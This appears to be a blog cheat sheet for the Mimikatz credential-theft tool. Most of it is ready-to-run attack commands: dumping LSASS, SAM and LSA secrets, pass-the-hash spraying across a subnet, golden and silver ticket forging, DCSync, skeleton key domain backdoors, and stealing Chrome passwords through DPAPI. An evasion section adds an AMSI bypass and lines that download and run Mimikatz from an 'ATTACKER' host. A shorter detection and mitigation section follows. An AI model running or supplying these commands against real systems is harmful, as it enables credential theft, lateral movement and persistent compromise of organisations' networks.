ᛉ Yggdrasil

Windows

Mimikatz

15 Sep 2026 · 3,508 words · 16 min

Contents

Legend: [LSASS] = Local Security Authority Subsystem Service | [NTLM] = NT LAN Manager Hash | [TGT] = Ticket Granting Ticket | [TGS] = Ticket Granting Service | [DC] = Domain Controller | [PTH] = Pass-the-Hash | [PTT] = Pass-the-Ticket | [GT] = Golden Ticket | [ST] = Silver Ticket | [DCSync] = Domain Controller Sync | [AD] = Active Directory


1. What is Mimikatz?

Field Details
Author Benjamin Delpy (@gentilkiwi)
Language C
First Released 2011
GitHub https://github.com/gentilkiwi/mimikatz
Nickname "The AK-47 of Cyber"

Mimikatz is an open-source Windows post-exploitation tool that extracts plaintext passwords, NTLM hashes, Kerberos tickets, and other authentication material from Windows memory (LSASS) and Active Directory. Originally created as a proof-of-concept to demonstrate Windows credential weaknesses, it is now the most widely used credential dumping tool by both red teamers and real-world threat actors.

MITRE ATT&CK Mappings

Technique ID Description
T1003.001 OS Credential Dumping: LSASS Memory
T1003.006 OS Credential Dumping: DCSync
T1550.002 Use Alternate Auth Material: Pass the Hash
T1550.003 Use Alternate Auth Material: Pass the Ticket
T1558.001 Steal or Forge Kerberos Tickets: Golden Ticket
T1558.002 Steal or Forge Kerberos Tickets: Silver Ticket
T1134 Access Token Manipulation
T1098 Account Manipulation

2. How Mimikatz Works

2.1 Windows Authentication Background

  • msv1_0.dll → NTLM authentication (hashes)
  • kerberos.dll → Kerberos tickets (TGT/TGS)
  • wdigest.dll → WDigest (PLAINTEXT — if enabled!)
  • tspkg.dll → Terminal Services / RDP creds
  • livessp.dll → Windows Live creds
  • ssp.dll → Security Support Provider

LSASS = the goldmine! All logged-in user credentials reside in lsass.exe memory. Dump LSASS = dump everything.

2.2 Mimikatz Execution Flow

  1. Privilege Escalation — Request SeDebugPrivilege via privilege::debug
  2. Memory Access — Open handle to lsass.exe using OpenProcess, ReadProcessMemory
  3. Parsing & Extraction — Parse internal LSASS structures; extract passwords, hashes, tickets
  4. Presentation — Display or export credentials; log via log mimikatz_output.txt

2.3 LSASS Memory Structure

lsass.exe memory:
├── LogonSessionList
│ ├── UserName
│ ├── LogonDomain
│ └── Credentials
│ ├── NtOwfPassword ← NTLM hash!
│ ├── LmOwfPassword ← LM hash (legacy)
│ └── ShaOwfPassword ← SHA1 hash
└── KerberosLogonSessions
├── TGT ← Ticket Granting Ticket
└── TGS[] ← Service Tickets


3. Setup & Invocation

3.1 Download & Run

# Official release → https://github.com/gentilkiwi/mimikatz/releases

# Run interactively
.\mimikatz.exe

# Run a single command
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# Log all output to file
.\mimikatz.exe "log C:\temp\out.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"

3.2 Privilege Requirements

# Check your privileges
whoami /priv
# Look for: SeDebugPrivilege (Enabled)

# Request debug privilege inside mimikatz
mimikatz # privilege::debug
# Output: Privilege '20' OK  → success!
# FAIL → not admin → escalate first!

3.3 Prompt Reference

mimikatz # command::subcommand [/option:value]

Examples:
privilege::debug → module=privilege, command=debug
sekurlsa::logonpasswords → module=sekurlsa, command=logonpasswords
lsadump::dcsync → module=lsadump, command=dcsync

General:
cls → clear screen
version → show version
log output.txt → log to file
exit → quit
!dir → run shell command


4. Core Modules Reference

Module Description
privilege Token privilege manipulation (SeDebugPrivilege)
sekurlsa LSASS memory credential extraction (MAIN MODULE)
kerberos Kerberos ticket operations
lsadump LSA secrets, SAM DB, DCSync
crypto Certificate and key operations
token Windows access token manipulation
vault Windows Credential Vault dumping
dpapi DPAPI secret decryption (browser passwords, certs)
net Network operations
process Process manipulation
service Windows service manipulation
event Windows event log manipulation
ts Terminal Services / RDP credential operations
misc Miscellaneous utilities

5. Credential Dumping Techniques

5.1 sekurlsa::logonpasswords — The Main Dump

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

# Example output:
# Authentication Id : 0 ; 1234567
# User Name         : Administrator
# Domain            : CORP
# Logon Server      : DC01
#   msv:
#     * NTLM     : 31d6cfe0d16ae931b73c59d7e0c089c0
#   wdigest:
#     * Password : P@ssw0rd123!   ← PLAINTEXT (if WDigest enabled!)

# Other sekurlsa commands:
mimikatz # sekurlsa::msv              # NTLM hashes only
mimikatz # sekurlsa::wdigest          # plaintext passwords
mimikatz # sekurlsa::kerberos         # Kerberos credentials
mimikatz # sekurlsa::tspkg            # RDP credentials
mimikatz # sekurlsa::ekeys            # encryption keys
mimikatz # sekurlsa::tickets /export  # export .kirbi files

5.2 LSASS Dump → Offline Analysis

# Method 1: Task Manager (GUI)
# Task Manager → Details → lsass.exe → Right-click → Create dump file

# Method 2: ProcDump (Sysinternals)
.\procdump.exe -accepteula -ma lsass.exe C:\temp\lsass.dmp

# Method 3: comsvcs.dll (LOLBin — no extra tools needed!)
$lsasspid = (Get-Process lsass).Id
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump $lsasspid C:\temp\lsass.dmp full

# Method 4: NanoDump (EDR Bypass)
./nanodump --write C:\temp\lsass.dmp --valid --fork

# Analyze dump offline with Mimikatz
mimikatz # sekurlsa::minidump C:\temp\lsass.dmp
mimikatz # sekurlsa::logonpasswords

# Analyze on Linux with pypykatz
pip3 install pypykatz
pypykatz lsa minidump lsass.dmp

5.3 SAM Database Dump

# Method 1: lsadump::sam (requires SYSTEM)
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam

# Method 2: reg save + impacket (no Mimikatz on disk)
reg save HKLM\SAM      C:\temp\SAM
reg save HKLM\SYSTEM   C:\temp\SYSTEM
reg save HKLM\SECURITY C:\temp\SECURITY

# Offline analysis:
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL

# Method 3: Volume Shadow Copy
vssadmin list shadows
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .
impacket-secretsdump -sam SAM -system SYSTEM LOCAL

5.4 LSA Secrets Dump

# LSA Secrets = service passwords, cached domain creds, DPAPI keys
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::secrets

# Example output:
# Secret  : _SC_BackupService
# cur/text: ServiceP@ss123!    ← service account password!
# Secret  : DPAPI_SYSTEM        ← DPAPI master key!
# Secret  : $MACHINE.ACC        ← machine account password!

# Cached domain logon creds (DCC2) — crack with hashcat -m 2100
mimikatz # lsadump::cache
# * Username : jsmith
# * Hash     : $DCC2$10240#jsmith#3a...

6. Pass-the-Hash (PTH)

PTH uses a stolen NTLM hash directly for authentication without knowing the plaintext password. Windows NTLM authentication accepts the hash itself as proof of identity — no cracking needed.

Normal: Password → Hash → Sent to server
PTH: Stolen Hash → Sent directly to server (no password needed!)

# PTH with Mimikatz — spawns new process as target user
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:Administrator /domain:CORP.LOCAL /ntlm:NTLM_HASH /run:cmd.exe
# → Opens cmd.exe authenticated as Administrator!

# PTH to get PowerShell session
mimikatz # sekurlsa::pth /user:Administrator /domain:CORP.LOCAL /ntlm:NTLM_HASH /run:powershell.exe
# In new PS window:
Enter-PSSession -ComputerName TARGET_PC
# PTH from Linux with impacket
impacket-psexec  CORP/Administrator@192.168.1.10 -hashes :NTLM_HASH
impacket-wmiexec CORP/Administrator@192.168.1.10 -hashes :NTLM_HASH
impacket-smbexec CORP/Administrator@192.168.1.10 -hashes :NTLM_HASH

# PTH with CrackMapExec (spray entire subnet!)
crackmapexec smb 192.168.1.0/24 -u Administrator -H NTLM_HASH
crackmapexec smb 192.168.1.0/24 -u Administrator -H NTLM_HASH -x "whoami"
crackmapexec smb 192.168.1.0/24 -u Administrator -H NTLM_HASH --sam

7. Pass-the-Ticket (PTT)

PTT injects a stolen Kerberos ticket into memory, allowing impersonation of that user on any service the ticket grants access to — without needing the password or hash.

Ticket Type Description
TGT (Ticket Granting Ticket) Issued by KDC after auth; used to request service tickets; encrypted with KRBTGT hash
TGS (Ticket Granting Service) Issued for a specific service (SMB, HTTP, MSSQL...); encrypted with service account hash
# Step 1: Export all Kerberos tickets to .kirbi files
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
# OR:
mimikatz # kerberos::list /export

# Step 2: View tickets in memory
mimikatz # kerberos::list

# Step 3: Inject (import) a ticket
mimikatz # kerberos::ptt [0;12345]-0-0-40e10000-Administrator@krbtgt-CORP.LOCAL.kirbi

# Verify injection
klist

# Use the injected ticket
dir \\FILESERVER\C$
Enter-PSSession FILESERVER

# Purge all tickets (cleanup)
mimikatz # kerberos::purge
# PTT from Linux
impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=/path/to/ticket.ccache
impacket-psexec -k -no-pass CORP/Administrator@FILESERVER.CORP.LOCAL

8. Golden Ticket Attack

The Golden Ticket is the most powerful Kerberos attack. Using the KRBTGT hash (the master signing key for ALL domain tickets), you can forge TGTs for ANY user with ANY privileges, valid for ANY duration. Persists until KRBTGT password is reset TWICE.

Golden Ticket = Forged TGT signed with KRBTGT hash
→ Valid for ANY service in the domain
→ Can set expiry to years
→ Impersonate ANY user including non-existent ones
→ Survives victim's password change
→ Persists until KRBTGT reset x2!

Step 1 — Get KRBTGT Hash

# Method A: DCSync (requires Domain Admin)
mimikatz # lsadump::dcsync /domain:CORP.LOCAL /user:krbtgt
# Output:
# * SAMAccountName : krbtgt
# Hash NTLM: 1234abcd5678efgh...  ← THE KRBTGT HASH!

# Also get Domain SID:
whoami /user
# S-1-5-21-XXXXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ-1234
# Domain SID = everything before the last -XXXX

Step 2 — Forge Golden Ticket

# Create and inject Golden Ticket (in-memory — no file written!)
mimikatz # kerberos::golden ^
    /user:FakeAdmin ^
    /domain:CORP.LOCAL ^
    /sid:S-1-5-21-DOMAIN_SID ^
    /krbtgt:KRBTGT_NTLM_HASH ^
    /id:500 ^
    /groups:512,513,518,519,520 ^
    /ptt

# OR save to file first
mimikatz # kerberos::golden ^
    /user:Administrator ^
    /domain:CORP.LOCAL ^
    /sid:S-1-5-21-DOMAIN_SID ^
    /krbtgt:KRBTGT_HASH ^
    /ticket:golden.kirbi

# Inject from file
mimikatz # kerberos::ptt golden.kirbi

# Use it!
dir \\DC01\C$
dir \\DC01\ADMIN$
Enter-PSSession -ComputerName DC01

Group RIDs Reference

RID Group
512 Domain Admins
513 Domain Users
518 Schema Admins
519 Enterprise Admins
520 Group Policy Creator Owners

Cross-Domain Golden Ticket

# Target Enterprise Admin (cross-domain!)
mimikatz # kerberos::golden ^
    /user:Administrator ^
    /domain:child.CORP.LOCAL ^
    /sid:S-1-5-21-CHILD_DOMAIN_SID ^
    /sids:S-1-5-21-PARENT_DOMAIN_SID-519 ^
    /krbtgt:CHILD_KRBTGT_HASH ^
    /ptt

9. Silver Ticket Attack

A Silver Ticket is a forged Kerberos TGS signed with a service account hash (not KRBTGT). Grants access to ONE specific service. Never touches the Domain Controller — making it stealthier than Golden Tickets.

Silver Ticket = Forged TGS for a specific service
→ Only requires SERVICE ACCOUNT hash (not KRBTGT!)
→ Bypasses KDC entirely (zero DC logs!)
→ Limited to one service
→ Stealthier than Golden Ticket!

# Forge Silver Ticket for CIFS (file share)
mimikatz # kerberos::golden ^
    /user:Administrator ^
    /domain:CORP.LOCAL ^
    /sid:S-1-5-21-DOMAIN_SID ^
    /target:FILESERVER.CORP.LOCAL ^
    /service:cifs ^
    /rc4:SERVICE_ACCOUNT_NTLM_HASH ^
    /ptt
# → Access \\FILESERVER\C$ without touching DC!

# WSMAN Silver Ticket (PS Remoting)
mimikatz # kerberos::golden ^
    /user:Administrator ^
    /domain:CORP.LOCAL ^
    /sid:S-1-5-21-DOMAIN_SID ^
    /target:SERVER.CORP.LOCAL ^
    /service:wsman ^
    /rc4:SERVICE_NTLM_HASH ^
    /ptt

Enter-PSSession -ComputerName SERVER.CORP.LOCAL

Common Service SPNs for Silver Tickets

SPN Access
cifs SMB file shares (\\SERVER\share)
host WMI, PS remoting, scheduled tasks
http IIS web services, WinRM
rpcss Remote registry, DCOM
ldap LDAP queries
mssql SQL Server
wsman PowerShell remoting / WinRM

10. DCSync Attack

DCSync simulates a Domain Controller replication request using MS-DRSR protocol, pulling password hashes for any AD account directly from the DC — without running code on the DC itself.

Normal AD Replication:
DC1 → "Give me changes" → DC2 → Returns account hashes

DCSync Abuse:
Your Machine → "Give me KRBTGT hash" → DC (via DRSR)
DC → Returns hash (thinks it's talking to another DC!)

# DCSync single account
mimikatz # lsadump::dcsync /domain:CORP.LOCAL /user:krbtgt
mimikatz # lsadump::dcsync /domain:CORP.LOCAL /user:Administrator

# DCSync ALL domain hashes
mimikatz # lsadump::dcsync /domain:CORP.LOCAL /all /csv

# lsadump::lsa (run ON the DC directly)
mimikatz # privilege::debug
mimikatz # lsadump::lsa /patch
# DCSync from Linux (impacket)
impacket-secretsdump CORP/DomainAdmin:Password@DC01.CORP.LOCAL
impacket-secretsdump -hashes :NTLM_HASH CORP/DomainAdmin@DC01.CORP.LOCAL
# Find who has DCSync rights (misconfiguration check)
Import-Module PowerView
Get-ObjectAcl -DistinguishedName "DC=CORP,DC=LOCAL" -ResolveGUIDs | `
    Where-Object { $_.ObjectType -match "DS-Replication-Get-Changes" }

11. Token Manipulation

Windows tokens represent the authentication context of a process. Mimikatz can steal, duplicate, and impersonate tokens from other processes — acting as another user (SYSTEM, Domain Admin) without their credentials.

# List available tokens
mimikatz # privilege::debug
mimikatz # token::list
# PID=4     NT AUTHORITY\SYSTEM
# PID=4128  CORP\DomainAdmin   ← steal this!

# Elevate to SYSTEM
mimikatz # token::elevate

# Impersonate first Domain Admin found in processes
mimikatz # token::elevate /domainadmin

# Impersonate by PID
mimikatz # token::elevate /id:4128

# Revert to original token
mimikatz # token::revert

# Spawn process as another user's token
mimikatz # token::run /process:cmd.exe /user:DomainAdmin

12. Skeleton Key Attack

Skeleton Key patches LSASS on a Domain Controller to accept "mimikatz" as a master password for ANY domain account, while real passwords still work. In-memory only — disappears on DC reboot.

After injection:
Real password → still works ✓
"mimikatz" → also works ✓ (for ANY account!)

# Inject Skeleton Key (must run ON the DC!)
mimikatz # privilege::debug
mimikatz # misc::skeleton
# Output: "Patch OK for 'NTLM'"

# Login to any domain account using master password
net use \\DC01\C$ /user:CORP\Administrator mimikatz
# → Grants access even though "mimikatz" isn't the real password!

Enter-PSSession -ComputerName WORKSTATION -Credential (
    New-Object PSCredential("CORP\jsmith",
    (ConvertTo-SecureString "mimikatz" -AsPlainText -Force)))

⚠️ Does NOT persist across reboots. Does NOT work if LSA Protection (PPL) is enabled.


13. DPAPI Secrets

DPAPI (Data Protection API) is Windows' built-in encryption used by Chrome/Edge for saved passwords, Outlook credentials, RDP passwords, and WiFi keys. Mimikatz decrypts these using the user's master key or the domain backup key.

# Step 1: Get domain DPAPI backup key (decrypts ANY user's data!)
mimikatz # privilege::debug
mimikatz # lsadump::backupkeys /system:DC01.CORP.LOCAL /export
# Saves: ntds_capi_0_*.pvk

# Step 2: Decrypt a user's MasterKey
mimikatz # dpapi::masterkey ^
    /in:"C:\Users\jsmith\AppData\Roaming\Microsoft\Protect\S-1-5-21-...\GUID" ^
    /pvk:ntds_capi_0_backup.pvk

# Step 3: Dump Chrome saved passwords
mimikatz # dpapi::chrome ^
    /in:"C:\Users\jsmith\AppData\Local\Google\Chrome\User Data\Default\Login Data" ^
    /unprotect
# → ALL Chrome passwords in plaintext!

# Dump Windows Credential Manager (RDP, mapped drives, etc.)
mimikatz # vault::list
mimikatz # vault::cred

# Dump WiFi passwords
mimikatz # misc::wifi

14. Mimikatz in Metasploit

Kiwi = Mimikatz integrated directly into Meterpreter.

# Load kiwi after getting Meterpreter shell
meterpreter > load kiwi

# Dump all credentials (sekurlsa::logonpasswords equivalent)
meterpreter > creds_all
meterpreter > lsa_dump_secrets

# Dump NTLM hashes
meterpreter > creds_msv

# Dump Kerberos tickets
meterpreter > creds_kerberos
meterpreter > kerberos_ticket_list
meterpreter > kerberos_ticket_use /path/to/ticket.kirbi

# DCSync
meterpreter > dcsync_ntlm krbtgt
meterpreter > dcsync_ntlm Administrator

# Golden Ticket
meterpreter > golden_ticket_create -u Administrator -d CORP.LOCAL -s S-1-5-21-... -k KRBTGT_HASH -t /tmp/golden.kirbi
meterpreter > kerberos_ticket_use /tmp/golden.kirbi

# Misc
meterpreter > vault_list
meterpreter > wifi_list
meterpreter > kiwi_cmd misc::skeleton

15. OPSEC & AV Evasion

15.1 In-Memory Execution (No Disk Touch)

# Invoke-Mimikatz via PowerShell (no binary on disk!)
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'
Invoke-Mimikatz -DumpCreds
Invoke-Mimikatz -DumpCerts

# AMSI Bypass + in-memory load
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
$bytes = (New-Object Net.WebClient).DownloadData('http://ATTACKER/mimikatz.exe')
[System.Reflection.Assembly]::Load($bytes)

15.2 LSASS Dump Without Touching LSASS Directly

# comsvcs.dll — native Windows LOLBin
$pid = (Get-Process lsass).Id
rundll32 C:\windows\system32\comsvcs.dll, MiniDump $pid dump.dmp full

# NanoDump — evasive, no direct handle
.\nanodump.exe --write dump.dmp --valid --fork

# Analyze on Linux (no Windows needed!)
pip3 install pypykatz
pypykatz lsa minidump lsass.dmp

15.3 Custom Build (Bypass Static Signatures)

# Compile from source with modified strings
git clone https://github.com/gentilkiwi/mimikatz.git

# In globals.h: rename MIMIKATZ string, author, version
# Recompile in Visual Studio 2022
# → Custom build evades most static AV signatures!

# Cobalt Strike: execute-assembly (never touches disk)
execute-assembly /path/to/mimikatz.exe "sekurlsa::logonpasswords"

16. Detection & Defense

16.1 Key Event IDs to Monitor

Event ID Source Alert On
4688 Windows Security Process creation: mimikatz.exe, mimilib.dll
4656/4663 Windows Security lsass.exe opened for PROCESS_VM_READ
10 Sysmon TargetImage=lsass.exe; GrantedAccess=0x1010
4768/4769 Windows Security TGT lifetime > 10hrs (Golden Ticket!); RC4 encryption on modern systems
4624 + NTLM Windows Security Type 3 logon from unexpected source (PTH!)
4662 Windows Security DS-Replication-Get-Changes-All from non-DC IP (DCSync!)
4673 Windows Security Sensitive privilege use (Skeleton Key indicator)

16.2 Mitigations

Mitigation What it Blocks
Credential Guard (Windows 10+) Isolates LSASS in Hyper-V container; blocks sekurlsa::logonpasswords, PTH, Golden/Silver Tickets
LSA Protection (RunAsPPL) Marks LSASS as PPL; prevents admin reads of LSASS memory
Disable WDigest Eliminates plaintext passwords from LSASS (UseLogonCredential = 0)
Disable NTLM Forces Kerberos-only; blocks PTH entirely
Protected Users Group Prevents NTLM auth, credential caching, RC4 Kerberos for privileged users
Tiered Admin Model Admin accounts never log into lower-tier systems; prevents credential exposure
Reset KRBTGT x2 Invalidates all existing Golden Tickets
Privileged Access Workstations (PAW) Dedicated clean machines; admin creds only used on PAWs
# Disable WDigest (CRITICAL on legacy systems!)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" `
    -Name "UseLogonCredential" -Value 0

# Enable LSA Protection
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
    -Name "RunAsPPL" -Value 1

# Reset KRBTGT password (twice, 24-36hrs apart)
# Tool: New-KrbtgtKeys.ps1 (Microsoft)

17. Complete Cheat Sheet

17.1 Essential Commands Reference

# === ALWAYS START WITH ===
mimikatz # privilege::debug          # get SeDebugPrivilege
mimikatz # token::elevate            # get SYSTEM token

# === CREDENTIAL DUMPING ===
mimikatz # sekurlsa::logonpasswords  # MAIN: dump all creds
mimikatz # sekurlsa::wdigest         # plaintext (if WDigest on)
mimikatz # sekurlsa::msv             # NTLM hashes only
mimikatz # sekurlsa::kerberos        # Kerberos credentials
mimikatz # sekurlsa::tspkg           # RDP credentials
mimikatz # sekurlsa::tickets /export # export .kirbi files
mimikatz # lsadump::sam              # local SAM hashes
mimikatz # lsadump::secrets          # LSA secrets
mimikatz # lsadump::cache            # cached domain creds (DCC2)
mimikatz # lsadump::lsa /patch       # all domain hashes (on DC)

# === DCSYNC ===
mimikatz # lsadump::dcsync /user:krbtgt         # KRBTGT hash
mimikatz # lsadump::dcsync /user:Administrator  # DA hash
mimikatz # lsadump::dcsync /all /csv            # ALL hashes

# === PASS THE HASH ===
mimikatz # sekurlsa::pth /user:Admin /domain:CORP.LOCAL /ntlm:HASH /run:cmd.exe

# === PASS THE TICKET ===
mimikatz # kerberos::list /export               # export tickets
mimikatz # kerberos::ptt ticket.kirbi           # inject ticket
mimikatz # kerberos::purge                      # purge all tickets

# === GOLDEN TICKET ===
mimikatz # kerberos::golden /user:Admin /domain:CORP.LOCAL /sid:S-1-5-21-... /krbtgt:HASH /ptt

# === SILVER TICKET ===
mimikatz # kerberos::golden /user:Admin /domain:CORP.LOCAL /sid:S-1-5-21-... /target:SERVER /service:cifs /rc4:SVCACCT_HASH /ptt

# === SKELETON KEY (run ON the DC!) ===
mimikatz # misc::skeleton            # master password = "mimikatz"

# === TOKEN MANIPULATION ===
mimikatz # token::list               # list available tokens
mimikatz # token::elevate            # elevate to SYSTEM
mimikatz # token::elevate /domainadmin  # impersonate domain admin
mimikatz # token::revert             # back to original

# === DPAPI & VAULT ===
mimikatz # dpapi::chrome /in:"PATH\Login Data" /unprotect
mimikatz # vault::list
mimikatz # vault::cred
mimikatz # misc::wifi                # WiFi passwords

# === OFFLINE LSASS DUMP (LOLBin) ===
rundll32 C:\windows\system32\comsvcs.dll, MiniDump (Get-Process lsass).Id dump.dmp full

# === OFFLINE ANALYSIS ===
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

17.2 Attack Scenario Reference

Scenario Technique Command
Local admin on workstation Dump all creds sekurlsa::logonpasswords
Got DA hash, no password Authenticate sekurlsa::pth
Domain Admin on DC Dump ALL domain hashes lsadump::dcsync /all
Need persistent DA access Forge Golden Ticket kerberos::golden /ptt
Target specific service Forge Silver Ticket kerberos::golden /service:cifs
Backdoor entire domain Skeleton Key on DC misc::skeleton
Lateral movement PTH or PTT sekurlsa::pth / kerberos::ptt
Steal browser passwords DPAPI dump dpapi::chrome
Post-incident persistence Long-lived Golden Ticket /endin:525600 (1 year)

17.3 Severity Reference

Technique Requires Impact Persistence
sekurlsa::logonpasswords Local Admin + SeDebug Plaintext / Hashes No
lsadump::sam SYSTEM Local hashes No
lsadump::dcsync DA / Replication Rights ALL domain hashes No
Pass-the-Hash NTLM hash Lateral movement No
Pass-the-Ticket Kerberos ticket Lateral movement Session only
Golden Ticket KRBTGT hash Full domain forever Until KRBTGT reset ×2
Silver Ticket Service acct hash Specific service access Until svc password reset
Skeleton Key DA + DC access Universal backdoor Until DC reboot
DPAPI Chrome dump User context All browser passwords No

← Windows top ↑